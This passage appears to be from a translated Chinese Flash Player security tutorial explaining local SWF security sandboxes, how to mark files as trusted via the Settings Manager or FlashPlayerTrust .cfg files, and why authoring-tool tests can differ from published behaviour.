由于我們不能判斷本地文件的域名,所以判斷本地SWF文件的安全沙箱用的是另外一種形式。只允許本地和只允許網(wǎng)絡(luò)這兩種情況是通過SWF文件內(nèi)的標(biāo)識(shí)來(lái)區(qū)分的,所有的SWF在發(fā)布的時(shí)候都帶有這種標(biāo)識(shí),當(dāng)SWF在本地運(yùn)行的時(shí)候,F(xiàn)lash Player就用它來(lái)檢測(cè)安全沙箱類型。
對(duì)于本地的信任文件,相同的問題是我們沒有地方來(lái)保存跨域策略文件,所以我們通過Flash Player的設(shè)置管理器里的全局安全設(shè)置面板來(lái)設(shè)置。通過下圖中所示的下拉菜單把本地SWF的路徑添加到本地的安全文件列表里。

Flash Player 設(shè)置管理器
另一種方式是通過配置文件的方式。配置文件不像設(shè)置管理器那樣需要聯(lián)網(wǎng)來(lái)使用。要把SWF或者包含SWF的文件夾添加到信任位置的話只需要添加路徑到Flash Player的#Security\FlashPlayerTrust下的.cfg文件就可以了。在Mac和Windows上,這個(gè)路徑如下:
- Windows 95-XP:
 
C:\Documents and Settings\[username]\Application Data\Macromedia\Flash Player\#Security\FlashPlayerTrust- Windows Vista-7:
 
C:\Users\[username]\AppData\Roaming\Macromedia\Flash Player\#Security\FlashPlayerTrust- Mac OS X:
 
/Users/[username]/Library/Preferences/Macromedia/Flash Player/#Security/FlashPlayerTrust
把[username] 替換為你的用戶名。
兩種方法都是把信任授權(quán)信息寫入你的硬盤(全局安全設(shè)置面板也一樣,保存在Flash Player的特定目錄下)。這些文件就像你本地的跨域策略文件一樣。當(dāng)Flash Player讀取的時(shí)候,信任授權(quán)給SWF,并覆蓋SWF文件中關(guān)于本地訪問權(quán)限的標(biāo)識(shí),從而允許受信的SWF能夠同時(shí)訪問本地和網(wǎng)絡(luò)。

本地安全域
關(guān)于本地信任機(jī)制還有一點(diǎn)需要注意的是即使是本地受信的文件,仍然不能把處于外部沙箱的內(nèi)容加載入本地沙箱。
大多數(shù)Flash內(nèi)容都是為網(wǎng)絡(luò)創(chuàng)建的,所以通常不需要完全理解本地的安全沙箱機(jī)制。但是開發(fā)和測(cè)試是一個(gè)例外。Flash編輯器在測(cè)試的時(shí)候就是把SWF放在一個(gè)本地受信的安全沙箱里面。這有可能會(huì)造成與真正發(fā)布的SWF情況不同的結(jié)果,因?yàn)閮烧叩陌踩诚洳煌?。比如你測(cè)試的時(shí)候可以從沒有授信的外部域讀取內(nèi)容,而真正發(fā)布到網(wǎng)站上的SWF卻無(wú)法加載。所以當(dāng)你測(cè)試的時(shí)候要注意,你所看到的結(jié)果和最終發(fā)布的版本有可能不一樣。

















 
 
 









 
 
 
 